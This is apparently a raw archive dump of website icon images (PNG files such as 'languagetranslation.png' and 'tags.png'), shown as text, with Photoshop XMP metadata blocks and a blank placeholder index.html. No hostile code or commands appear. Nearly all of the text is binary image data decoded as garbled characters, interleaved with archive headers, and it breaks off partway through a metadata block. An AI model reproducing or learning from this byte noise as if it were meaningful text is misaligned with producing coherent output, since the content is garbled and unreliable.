��|K@��#�D��(is"�����5�DDDڜ��6�d@DD��)isJDDDڜ��6�d@DD��)isJDDDڜ��6�d@DD��)isJDDDڜ��6�%�kqq�
��&X�!�B�G��R2�eC�!���N ��DD�j�d
w"�?��҂Z�c�*c���BDD��qPM����;iK���Z%�*�DD�-��;�jj�d�q!""-�[@o�ATS+%/��;ii�ߍ;�jk�d�J��BDDZ�J`.-�*����w""�R��V�GM�b2�E`?�������/�:�XjƜ�e?�,{:
���eL6�yd��&�q!""M��v w ��*�
ߢ��vYιA�����i�ՎTDDDj�U�g�|���K��@I���H+x?����ι~��\��V��K���k���:&"��*p�d�q��Ǐ7s,"R0��wL�B_Z�f���0`([����~M����� ���f��<+?h�TTD�Q����n���������5p\�AT�6|�����ι{�-����T���B�@D��Bq�Y1""�qg�T���~ir��8�9�@D�:�qP�
q
"y;Cq2��"�mj�ThZ��H�h(Nm��G��B'����Bq2�"�8D�JN�;�A|xg�A�H�
(N�%�����FӁ/s�
�@D��P\g�h�z"���_�4N��e�&����5�9w]4�G_X�v���9��&�.�)
���[��4�GDD����W-�X�5��DDD����/�OJW-$xp>k��q#�D
T.
��p`���q���H�����$��cJ����/;��"""�o%p;�{�7��r�7f�cF�����N�K%"""Ҟ�3
"""mBɀ��H�S2
""������9%"""m����Q�A�JIEND�B`�assets/images/icons/index.html000064400000000054151165724360012434
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>assets/images/icons/languagetranslation.png000064400000044362151165724360015221
0ustar00�PNG
IHDR,^ɰ) pHYs��
TiTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"
xmp:CreateDate="2021-03-08T10:31:22+03:30"
xmp:MetadataDate="2021-05-16T12:32:42+04:30"
xmp:ModifyDate="2021-05-16T12:32:42+04:30"
dc:format="image/png"
xmpMM:InstanceID="xmp.iid:003d538f-a7a5-7748-9e25-8ea87ff45386"
xmpMM:DocumentID="adobe:docid:photoshop:c9a29cb9-e0c9-0f49-871a-921074543321"
xmpMM:OriginalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"
photoshop:ColorMode="3" tiff:Orientation="1"
tiff:XResolution="720000/10000"
tiff:YResolution="720000/10000" tiff:ResolutionUnit="2"
exif:ColorSpace="65535" exif:PixelXDimension="515"
exif:PixelYDimension="300"> <xmpMM:History>
<rdf:Seq> <rdf:li stEvt:action="created"
stEvt:instanceID="xmp.iid:9c2e6c2c-3107-b942-9911-dfc136b5d226"
stEvt:when="2021-03-08T10:31:22+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"/>
<rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:c160889f-53c2-914e-93a2-1265e0eeda00"
stEvt:when="2021-03-14T17:57:35+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:5be3c219-0f57-784c-9335-302da30026fa"
stEvt:when="2021-05-16T12:32:42+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:003d538f-a7a5-7748-9e25-8ea87ff45386"
stEvt:when="2021-05-16T12:32:42+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> </rdf:Seq> </xmpMM:History>
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:5be3c219-0f57-784c-9335-302da30026fa"
stRef:documentID="adobe:docid:photoshop:d526789f-ac79-cd4a-9a0d-16d02b8f7148"
stRef:originalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"/>
<photoshop:DocumentAncestors> <rdf:Bag>
<rdf:li>02BADA668A33CACE5D5C37ECF58E339A</rdf:li>
<rdf:li>1A38270A084735E599E742D9E28247A9</rdf:li>
<rdf:li>44255DDB773950C46F80D1450CF0DBDC</rdf:li>
<rdf:li>5C2EDD4900F484FECE3D7A155E1CC32F</rdf:li>
<rdf:li>87FEABF05939505235737EE42C246F67</rdf:li>
<rdf:li>99C59D4360004D3024EB8152A56E4286</rdf:li>
<rdf:li>B3D621D2ABBE919F83ED6C409EEE7F0C</rdf:li>
<rdf:li>adobe:docid:photoshop:636401db-6a2b-ad43-adc7-81e60bf44485</rdf:li>
<rdf:li>adobe:docid:photoshop:957feb56-ceb9-394d-8901-266a5261e4e4</rdf:li>
<rdf:li>adobe:docid:photoshop:e6e905c0-be21-184e-9ded-ccdf32c966f9</rdf:li>
<rdf:li>xmp.did:0e81e14e-1626-5f4f-bc06-99053d67e78e</rdf:li>
</rdf:Bag> </photoshop:DocumentAncestors>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>���;DIDATx���w�de������359�P�����DAETD d��5�?�*0
0��
�(Qº��bBTXXPD@@��@�Lu���VwuuŮ�ܪ��_�~M[�NOW�{����]}��������8%"""=Nɀ��H�S2
""������8%"""=Nɀ��H�S2
""���߄b��.s�L�
DD$�����h3M��뀏{S�"""dx��Q�<9�� ��e`࿁����t�A�T�����ue2�B�W����HW�8:v�ff]7�pG���Hk��0v��m-v����t-^��xv�nk8%""�Z�f�
���Z�������������e`����H�8!v��-���5DD$=^;�f�d`����HO�;�f�d@DD����5Zɀ��H�S2
""�������Lb:_gADD�c�c������HDD�W)iK�(��2�J=.���*��^�M-\"R?%"u��/��o�Uz\JaR��DD�S2
RV�f*gqb�AD����t��ޠd@D��p;�=�r,�(!�l�8�m�*|i6��
�Y�^
��'���-K��ω�x-���;@�N+�c��O*�2�K����\�ˮ,�G�������u�Zx�O�j�mK���XϪ�X�r�ⶦ�1�#��[6��J,{,pT���� D��R�G��/��0�
�\�{�N3<ˮ���}��9����vz����-�}BfoI�:(�`���F���Q�>�<?T�}�֮�s�x6����L�B%i�9,���WY�6B��ЦGT��l�u�^IȜ���!u/%""�ƘF�A�s
.���\?0�\��w%�U�O0n¸ #�1d�`<M?�R�Z(A�f��^�00�9��̀w7��HG�FGP2
�R����a�O.�}��3�J�����;��&�[)��^�����p�
��@��x��>���l�!F��J��v,;�s�>A�<l��!X�|M�?Ss�L�
'�[
��?�[$ǝ<82�a",{!s��b�)JDRd)�a���ߏߙ^����f`O|��z�)��f���a]
��B��� ?��Z���'#�8��(l}��1-��&�L�,{�gBf
�x/��>�pp����{��{��r��E�@͔�DTx��W�����I`%�f`�{!��;p���>F�I�qS��/&I�a��3y%v0?��\��c3~�x�~v!�:y^�AS=��,��
�
2��]*
����X�}/�;���5�8=AɀH�$തQ���7�'��O�w��¬K�$|�`ӒxQ��*�xk�1�F(����I�o�;Y�F`WBf9p<��]���ж����AɀH�,K�!< �f+I��&��c3kFSiTfvpW��k!�W���c���g�c��a|�"�������mG�.
d���?���V{a�'�l�=;�*�
��Z�$`Q�
0�eI�0o.�脻�f!l����o&ޅ�����gO
&��m�Tm�oo!8�|��m�ˢ�&��%V�
�^�P-"-R��Vi
���W�0�3�D� Х!�����1�&pv2C`*A�j7 �𡶾k���l8����2
͵�a��$��с��ρ��7�;"��j!�y������X���&�/J
j����<d�����,�P[�w|}x���ZvWˀZD��pP`���Vb�ْ��u3[��<�(���ة�v3�S�%�-J
j�n'd^��s�,`4����r5&2J-�e@��arx��;k���j�23;=Vl�"�pI��n�Z
j�X�e�5�#��>�^����/��;�������>��A�S�R�LI�+N\�l�7^{�fj�%(����a81���U��fvb��S�k�2�3g0ZYIAM�T����W�̛�V�-������">�0��[�K0�W���?_��
>�d>��w�5/������"*P20Bɀ���;`A�0������N�^O(l)�����`���Jn���T�+d��KY����1�����ԉ�q`��Y
������&J<�_�H�3�r,
���g
�'�mf6G�@{���f68e%��^�$r�H��5-�Գ~Pu��y!��_��Ș�)���o�.X��
Ǒ:(��r�Y��H�����̞kf�/�bi3[bf;ǯ�
��O����[U��x+슯}P�7ZG��l�*�I���ł?5�{c�&��.�k���%s #�3P����5�f�c�����'�Q;T�E�x�J�0��J JD�X�0��̏nZ���mf�ōNJ1���6���u2$I��R}��<�㘃�C��o���jB�$|��Ḓa��x��*h����1<R9��5`��-��T�$j��l�es ,"�\�z=!�u��2��n��eK/�27��\��K�5%M��"�,g���ր!`�0�~%�%�}��
{h�_Dn�Lt��^�~��6����n�e�.���a��zK>S�>�k�=$�d@$q1�\�0�1���AǛَf��Ʉ��yf�L�,>
t9��p�&S ��ְ�
�~
<˾���k'1�;b�sp'~�0#be_C�o�a���<X@�7�c�
����4�p��q����i�1�z������/���
�e��P�e�����~,;��e�Ʋ�ò;��ߍ�(�xB�Z5A�4���y�D
�g���S�r3�)rh�D���z���{2!x]R����&�n�/�2O2�2�����aك��X�t��e���eXv[�{�Bai!��ڻ=�
%���#�Vf����IK+:~0��Lfg�|&d���
�s�
O�����β��<�- �Y%�|)#�;�xu��C��+�Hɀ�|"0����f�ըAI[$�o��8�kz+!�$!3���3vt~��@�lI)!�3!�sB��2�V2��'
��"d�(��w�M=�)��S8Pp6����%��̮^��o���ㇽS�p��_����.P�42�
d����Y������Q��k���m��<��y>pJ�8�NJ�����<lf�ĎM���~|v%�b:��Z�`B�Ƣm��7O=o�o�?_90=��|^U���/�\�VBf���O��^��Hɀ�
�O��C��b��u�"�&�C �k��@y����c
�(U���b]j�b���G��ֈ?'-��!�)��P����R��>df[�{0!ؗ��9��p��&���7j)]\j�Z�s�މ|ܣ��H��H��'0&�'�\,채���2�e�E{`C��Ƙ�e��D}k&H�HW+LJ����q�$C����2���#�"k��Ex����eĤ���k����0�5N���^lL!����Z�-�W\����&zdiX��7�f�<�����ʕ]��'��
�
��π���^'�1V�|g�K ���y��o��(���%TL&h�L�`�&/-��ӷrx�EY�L2X��S���~z�e
d~��`�)m�j���<���K�c�ӝ�.�o8"�><لD
�O��o��D�����z�
]OJ>7+f����0�&�-%��ݢ���]���[�X`U#�XJ���fX�= ,m�[�}���4_�y�+�Dt�:X1����'!��}����>hpE���%�Y]��
����3�x��Tx���M ]����Z�
8��~�!w����u������]WF�����C!��Vc�� {��2��ν�ڄw�gٍ�����ym>LȬc�n���D��`��K�s!3T�OqEB�/��),{!s>�Q�hH���s�/^ˤ|s�t��E���GT�,X�s�����۔;�&�
��j;v�rK !��͆�6_�܄�&,��g}���8����-�2SmI�*�a�*ٸQ�=���̬ؑ3?�"�
g$���&����|��gf���G՝F����ePyin�>\ܞP*zK�D��!ή�n�E3�7x���a�M���|3��(����H�dF���]���0/�:��f;F˺��+�Mf�L��%�'�N�s����O^3;�/�S
����������Pe��df����B�
)�:`��<��J-u\�~�oLk4Hɀt���O5i
᧨�����|�Qe^��lJ���s��v�6fv}aM?�>��`a�4���h5{�:�����>k�=%
�O�H)˓D`*#mx!�k9�
,�;�֍o��\a�I��m�(�.�kfXD�e]�����5�kX��?R:�r�9�����zL�z3�O��.l���=�����U�M�`���
�ctRB0�w U��9���a�٤#q�xJ�cv����h�a����nw7妟���)�T2����t\]�7ְ�'ZD
>W�>{��XS�?Q:R�8�&.>4ع���0���î5���佤Mq���]
<��.�Zg�\u_%����k�l-?��Hz���8���8��7��;S��I�Asݺ��Z�弸]���y�0���;!��Ty�R,{�-�������g���O4�<�,������^Bi���H���UM<�,*��a}�v�L�6h6f�E�
x�u
3�!�`.�=��ޝf����� �nX�
,�a,�->%�x�Z�/��x"�(�p+��i7c�I��
>�|*쟁c��>u�w8>��x�H�L�*�
��$�*0���f�P�����Sy:�Q��y�:���
�_2�3����*��%�w*����
�Մ�G�f����#�l#%�2���˾���#|pk�T�P����>F�jk�O��C;F.��k��p.�`Fʠ�Z�c��N8�9�O~��D�����hH��H�IN����[�V�V�!�-�;�؆�.dT�y�0�OǬI��?�X��h�2��˾�m�k�#�ʚR%��SF7��n'
�x��Z�6�w�4��H2��w3 �樭�vk��5���D�"�h���hJ�cFF�-6�{#��O����Dl����)���F��Xvm�w��%�~%O�+̈́�"J$��j
��Ě�T��o���E�*�u7�d������qK_�M ��3vP���2�y�V*�-E45HR/�$_2h���T��e`{�p�!c3>uju��R ��k��v5��*yn7�|�?�̗�'�+��K��� L�&�ڟڇn&�ܕ��}m}���_
q��<J��e�ƨ�2P%�j��f��H،��QK2���.0|``����d`8�2|z_�{�O(���r��/v3�'�Jf�$����YDڿ����T2X6We���L��� g9[�&dn>�e�p|��[%�z4uE�j��@j9���h��۔�k���f�V��.[�M����4x�[�ix�������C���u0jm��W�!s/p^�&�x͘}�������H��I�|��`3�kҊ��4��濫f�L���2��C�����4�ꐙ���Na4�l�xw�n�;M�?O��F���(�.i>i���H��o��-�Ѵ��K���F*'3��8��%��K?������'�>��)��?X��BD�0~��)�d��x
��O6�Vw�
��u`B�u5.�S��_Z�ɔJ*w"dvŲ�52��6U�Q2
��o���f�(vL�Z�o^Se���&V��Ŗ�
p�R��� �����B8jr��˙H�����S.e�5>��Xz���$��W�u�����YM�|�#�:_�+�@K��T�E��b�l=�~��I�څL��i���$d>Y��B�|���Aɀ�N��j�۷��/��J��o�ؿ߿�U�T�� ��tྙN$������E2����
����j���JB�2|f��Iɀ�NQ]�vO%l���-E���^<8�F�&�����ܪ$���4�j�qB�\Bf�qφ�>��w��H�u>F��A�T~��[ ���l[d]Fc$U.f������p�W\k���z��%�_�,�u-���ќ��Rj
��`f�C�π7D�;08x?!��O��V��?!d�W�|L�5�?#^h�Aɀ�R�5ڕ���o�<�
xc�ʙ�O������ѹ@勄���u���)}���/��q�s�@����$u
>�O�}����6����-5��y����t��^�G���Hj����&��[;*�%^c
�H|=�j`���i�x�#n"3� x*w#���Hj
�J�h�j��q-pm��g� A%}�"H��1�C��hm���"e)�T�*���)�j��}�c[>�*���o��Š[�]>�Q�����d@R%J���n�B�o��d��=�z�����]�u%����,��H%�
C��c�`��9�0�KE�?�/�R���?|�����D('���D�FJ$6a���kQ�Rbt��.(�l�?���|������Ze����\(���P2
�-c�3b�?\lfi^L��a�#���>�ǟ^R��_����e�t�����b�[�J$��,�D��Z���D�.�������ʆG.�nx���E��J����{�*�4��
�.�m��@�?nj��w��<w/K���6�_Ȩ���Ls��W���4T/�(�.j���1�"rL�S�f���!�{ja��"�v�a�T�[�����������3�*�TP2
�����qԠ�3��[�u5�*���P+��6��k�OIJ(����!�FdT��s��ޯĻ
J��Wfܫ�1�V������4И���&���K"���6��S(��M��5���`Uc�⥎��<.��W-|�^����&�MɀD�/A<��
�W3�}�"�X�خ��w��l�|x^�x9�Tb�'����!�3�^��0� j��H�ɓ�V�{a�Vy!�3��8X��>�
��U���[T�'�i���r��
H�e@�>M���^��
؋���K�!yݿg0~!�m������ /�����������J�bCy�n�j�6�|�2�`>�}��܊�$��ϭ�����-s�ݒ�����`
��y|����JlJ$��
L��ƌ�@��r�����k2T+�|;���xkC%��]�Z�@RAc$����~
�K�%��5�<|�U��p,��TO
���xޒPKW��xW��
R"���5MŇ$2%�jo=?v�y6>�/��^K�xk@#�n����>F�TRq/pz�#��d�: $2u��U�e��ڀo/���~�7��*��}�i|q�������>n������]���\��a^���)�['��`�����G���q�O|���$�'��~~>�sC��'�ܜ<75�y��x�-�1+�ׯVw?+�."%(i�+�E��5&�����
�T���f���T�8ة��Ƨ_�9��4�PbR7�D1L��-.T�|<T��6wp�j|�@��s/���]
ݘl��X��N�H%��Xa�ԓ�"���D��~^����d�d���"�Rh5�o��$%�dBa2pk�HƉ�PQ;��W?,.^�+v�W�<,v
�{��l�vM�)�FɀD�W��~����O:�l�Q�xQ��\B�7r$kr�&Cྮ�5�)��[�0�3�o�9v<u��A�o�g��|3��{a�Ðj
H�|b����<nu+5�����b>M��|���*�툗�~[�#��
pZ���)���@��*�wj?��*��<|��t
꜈��M88��I�!��Y�i�M/�x����0^��E�_�K�LV��|q��>���8�o�ڱ�~�)�{��H�h̀�X�U��9��K��Tn�%�V�+(t3�{��qDa���#�>JD��R��bW�ٹ����s9��y�M��r;pn��g/oS,"��d@d�oUy�l��o'�W����Ž�{T^�%�
D$m���w->v��)��C���ٖT��ys�I��H���v"�6@(2�|T�� x�E�/���}�+���o+�T����3�:�?��s�G�wR��F
��A�]�g�1�TQ2
R��ہWV�o�GSٵ�O�P���*�T��Y}ҳ�M R�
����Ԡޕc�Y�Y|��H��۸iZ���_�#�������s�.~1.�1/ȕ��t>���n��~������Z�]��y�웼g�}�c)�/��j��E�j
=KɀHu�^|8&r,�4r�k瘁w�y�(<�j��&�A�%5����!�X�`k��JM�Y�38��s����KP���ZD�sc�7�R�0�����4��xU��6�Oƛ���6���G��H^ۏ��0
��c�>���
7��
KJK¿3���쇯���=�H!%"sG�u~�ߎ��,�b�O&1�<��d
��;�d�
qQ��]wʇS+<�5��G-�#-ɑH�(�؞;�2��+�~쫪� _��c%�=Qb[=w�+
����N��u���(Z�T�!��#�%K4�mb�\�O+\FwoG��]�Wm{����k�V�4F��؋V;�R��H�)��[H憐�~#V��9�O'%����V;�n}���v
|��Q��E۶�iC<i���c�N��>u�nrޕ}_�X�,>^�m[������a�f��aE�7�$�W�}�l}8�t�f�ݢ���W)�(�&�ɿ}}��q��n`i���� �3�Ms/zT��W�g3���S��ɏ=w0�E���F��|��s�H$J$��Xa��N��/�l]��xW�`�v�D��0����.�+��?)zn+��-���9/֕x'�*9$�(�(&
G�͉�{>>c��1\{��i-���*]aZ}(^�q#�?�K�x[ˢI�Ns�����DɀD������P_��~�7鎩���8>xyѶ?0v��π'��ٟ��*(%ꕸh/��R2
Q%���¶��Ll�[�Ci�G�~����K�~\�x-��E۶^۪�*hgi�B�"���%U2`��~��4��46e�x�A�
��ТǛ�1�Ju�Y��U��D�d@�X@1��_��Bػ]�B��_��o��_"�K��VŽ+�ʢmw)���x��B⥗������aa2��f�/ѯ�>y�ɺ����XO�z/z�O�Q��ٺ���~����4�Q-��1պ ZUu�P�w\O��ME��њ���Uqx=k�
HL�0J:T?c�m��B�r��@~�B>�a�}�9e^�^���e��@:G�C�n�V-�\<�`��k<\���(t8��&���/b$
s� S�HDJ����Q�؏�c<]����r�F1�
��h�wWx��ufl{-�]�8F2����
�&�h�S���SgƍfD�ҴR+~�R��~J���m�/�.1ZwN�KH�T[�QJ$����~�9��g옺P��G��V<���R]om0�biK�n7���ω:KD��ITC�_�|P_�u��K�\��݁m�#^l����Ms0��UPJ[���!�����I:I'�ܤ��1�5�%~c��$�0~�5��8R�߁_m�O��RW@���hu��X��J*�#�;X;�.S�����R�
��[�
��Q8�#k�P�����F�J�-�����hI%���p��p�Bx���&rXݤ���&x��E�|�
+�*�x �B���>%�0�v��H���>��
���EWj���1���B�o(�}��RI�<�S-2K�
Kz�ަd@�KâE5�Ŀ�j�@3+�r=�fUxL�l��+W)��:��&]f!}|��|��%I��4����f]�v^Фc�r
�m�Si�D;χ����$%4f@Ra2��ч��F��n�MЬrĥ
]
��h��a�&�F��q���.�2�
�C��+%tm�EO��4��Z$%�H*�1�J��e�T@�,��
�����ڎ��G�F��*�akДBI�OI�$]�R�U�i�
lF��ɜ���o�וضɅ�E��
t\��(��Jɀ��B�X�@aW�ċ��n�{iF2p80�h�B᯳nw-ڶ�/kܪ%�kB8�o�4^@RC�DI�|W�l�>�7�����џ��ҳjY�������~X�ǭ4��)�Y%����&*�pѠ��nB�/vLE�5�.M�.��.�G�f���Ķ��8f�d
�0�j��ѧQR����.���
��5���?�5x\�ۀ���5Z��]�K���Cs$m�H*��7�qb���ΥQ
��W�M:~{P�M:~�V'��Ƴ/�x%m�T�w�����Ǎ(�=��D�[9�`��E�V�k��n(��U�`����|�|��_,e��:�J��)�d�J��Y�C)c$�`*~�}�^_�b����V�ׄ�/���Y���B[P�E��Z�ϚG�����H��[��]�'ӱ�
�
��k���&�ק��.���Iq�m����aL��^�wؒku�S����*�Ij
�E��û���Fğ6 �o)�z��94��ཌ����T���m�[5:a�ǻfcG!R��I%�{�~��B���N�Vŷ�}����V���l���ւ㖲*�j��&Fe��s6���n�dJj
���.q���'bs�]��ܝ�'�skx}�B@���9��S��Jg4_HoSˀ�֢�u�Lrl�!�����!�+���+\i�P�E���U�`��!���>�-�ϫ/�L���"�_o�]�zm�{��M��!��܌Z$��H����S2v��'ho20�JL'�eޅ׳)���c�I�?XO�e\�y�H����2:v`��-i�[V�
�g�R���
<Q�\�ʭ{�*��<���F!���61��
H��*a�����;��Z�Ӌ�����R���[�xv��Yr����O?���I�|݁5�u��·{���n��0��v��
��x_�J�Uy��f�Ia��L��1�)��a����·��g��*'�S
Kus�X嵟�������
�?NZB��e��3"i�d@:�hUB��,XТ�Z���ofI�Vzx'���>?�Q�^���a7� ��p���1�Mx���U@:�JǙ
<
�B����ŏ��W��������������g�ڄ��
�B���ʭZ�8���ϳ�r�U�d����f�~�1|�Yxw���$�I���5�$0�<�<�Tr��d:����]�3>����ɶ��OvV;&ǜ���V��IL;$��������g���W��SU�t���8Q�M�����ѓ_^G�Nk��I��䟎��a�c6�U�Cf��F�������m�������x��+<ɑ�>efk�
!��%�Fkt�u�&VO��9M'
3ӧU:K��`�ߌ���i0�Ķ� p��@W0،���o��
I>�;�U"
J�X�H��U�¿E
�����?�/e|���{�8T7���f�P�B�p�4Z��H(���od���i�Cj�¿�{����8�U���^v�3{� �:}.�ATvX:�>�ґ� �z�{F!
�B~
�mxa�f����Xi]�K�7z��{`uH��'W:��,�̅�vᰘ��l�%�xA��싯�pw��f7�I�ɐ��:q!���K2�{@:���X���+�4��w|3�pa䰚�z|�`+�l§Խ/:t9p'>ذ��[?>�O�<���jB8�z�J(�@S���N��a�G��֚Y�.BX5�lD�@���BM-�.��>.c
?�~VᐸI7K� �y�B��t }��+�����ׅv��t�$Ѽd2>N`M�xD�Eɀt����A`�o���gH!��M����O�t�|B�؊�;���Gc�%�/�p$��ʋ�H�ѧY��"�����-pV�0�6
!|X:���z��t'}����$k1�{��b�$턙�����H�ҧZ�ґ��
��f���F�!���-�?`��uʔ.�O�t��x-�x��Ga�$_�䩘������Z'��0�&%R�$X�O4N@��>���NJ42�Hm�H/�'\��B%R#%ҫ�)��P&!XB�R�$B�V�D@z�>��3���^���!��"�&%���g¼� Q�������W�`.�vr�%�]�}0�p���>v|�^I���%�[��=X J��(���/#;��B�9��Vc�!��̮���I�vŷgk0����O��Ón��R!�j�X������뀯)��O��8���ɾ����Q��!|)��X�lB�D@ɀ�HB��N��q!��"�&MB�x����JD���0:�p&�NrlI��v��t����9�b|�V���"yJD�����4r��8�'��f��J�BNv�k1�2��JD��_�H�E��d�`.a+`Q�ȡI�ր/�%��l�20���(����(�6��w̅�Vy+�x+�'�(e�N��8
�6�49�))MɀH���
�S [��>Bx�̖ǍP�%S�<70�ZDj�d@��|+P8�`Y����Ҙ��H�v`���5@�^JDj�h��}�L�
�B�8p��-�bOJ�|�}6^@(�ZD�d@��V�~`9��ل�+�C�.3�ӣ�B�����ׁZD&HɀH�
[ �q�I@欇Ӓ��o��ɱb�V!����f�.����(��L��� ZX&)�YO�Tģ�K��X1v���x�xAP�
�F)iPaR���i0o�Bx�Y
4�_a1p0?�0���fS2
�$�-��`a�U�%!�c��3��"��z������� PK�H�(i�e�����d�<u!$B���N�_-j=�:�&P
�*JDZ�0)0|LA$�
ü�ؙ!����9|��8Ѷ_������&0��4;@�����XqK�^�(L�W����$}䛁?��o�l��^��D#uf�c�%"�d@�M�^�F+�_i}�2���9��έfvWۂm�d����@;���a|`��C �HJD"(�U�� ���d`
a�U��kB��3�V?J[�B�������m�!s�.�M��{6�L&��O( �GɀHD��.�S�R�c��Hr0%va�!����ɦ�S��f��1�����~����'��\�2��{���|�������)Օ0#�GL&vX�}�ԱBw��ˁ;˼e���^��{�8�x��~���
Fo�_�q6��@`-JD�LɀHJ��p���b�~�F�
xҐ�0���&���\ߐ��T¬��p�-�'*�����|1����I'%"��]�����6����/H��z�6�.?�����1����@����/ҹ��t�j��{%cJ�_�+)L��/ҽ��t1U��Z�L!""������8%"""=Nɀ��H�S2
""������8%"""=Nɀ��H�S2
""������8%"""=Nɀ��H�S2
""������8%"""=Nɀ��H�S2
""��b���!���D�d����!���D�-��c
""=%;�f�d�O����@���[�����A��H�Q���[����@DDzB�V�
������ASDD��c�Lݔ<|5v""��6�D�3��!D�in�;�:9`?�W�i&3몖����""�\���e�@^7&�Y"""���n�J���M088x�iu`M�
0-v""�qx��,04<���x�ͬj2�p �4�5�
DDDz����d�1�w/G����H�
�����K�P�e�Z�-NDDD����:�|7��{���4S��se�8&s�qG"�WGC�d�p�"���8�
�"�?��;qpM�d�)|���t�%�)����g����V[
<%"��!ҝ��S����~�?���8��H�,�@��;q
�M�)i�+bP��b
"#�c������;�u�ү"n:�MTXH��;�;`lѡa��t���S������`f�W�2����4��cQ��(I�,��&x4R
"�<��/�i3/s��"��(�@��gƉED��;�n�G"�2 _�|ƞoD$~c�L֡?X�^�f��`a7�
pY��DDD��.#��[j�B���nO[��Z�Wb��������F�Z?�T2�>W��vD$"""m�$~��pc�d�d���+����%"""-6�_ӷ�(���@���K�������D�v/�`��RJ
��6
'"""��x�;��h2
"""��Z7����t9%"""=Nɀ��H�S2
""������8%"""=Nɀ��H�S2
""������8%"""=Nɀ��H����On�J%IEND�B`�assets/images/icons/tags.png000064400000053737151165724360012123
0ustar00�PNG
IHDR,^ɰ) pHYs��
"iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"
xmp:CreateDate="2021-03-08T10:31:22+03:30"
xmp:MetadataDate="2021-04-19T13:21:34+04:30"
xmp:ModifyDate="2021-04-19T13:21:34+04:30"
dc:format="image/png"
xmpMM:InstanceID="xmp.iid:506ff706-c966-f24a-8177-9c31a1b72336"
xmpMM:DocumentID="adobe:docid:photoshop:941cf290-e282-2246-9210-34f257ccb4f3"
xmpMM:OriginalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"
photoshop:ColorMode="3" tiff:Orientation="1"
tiff:XResolution="720000/10000"
tiff:YResolution="720000/10000" tiff:ResolutionUnit="2"
exif:ColorSpace="65535" exif:PixelXDimension="515"
exif:PixelYDimension="300"> <xmpMM:History>
<rdf:Seq> <rdf:li stEvt:action="created"
stEvt:instanceID="xmp.iid:9c2e6c2c-3107-b942-9911-dfc136b5d226"
stEvt:when="2021-03-08T10:31:22+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"/>
<rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:c160889f-53c2-914e-93a2-1265e0eeda00"
stEvt:when="2021-03-14T17:57:35+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:a662ffae-ff50-6f46-aca2-0a1ff77ff89a"
stEvt:when="2021-04-19T13:21:34+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:506ff706-c966-f24a-8177-9c31a1b72336"
stEvt:when="2021-04-19T13:21:34+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> </rdf:Seq> </xmpMM:History>
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:a662ffae-ff50-6f46-aca2-0a1ff77ff89a"
stRef:documentID="adobe:docid:photoshop:d526789f-ac79-cd4a-9a0d-16d02b8f7148"
stRef:originalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"/>
<photoshop:DocumentAncestors> <rdf:Bag>
<rdf:li>02BADA668A33CACE5D5C37ECF58E339A</rdf:li>
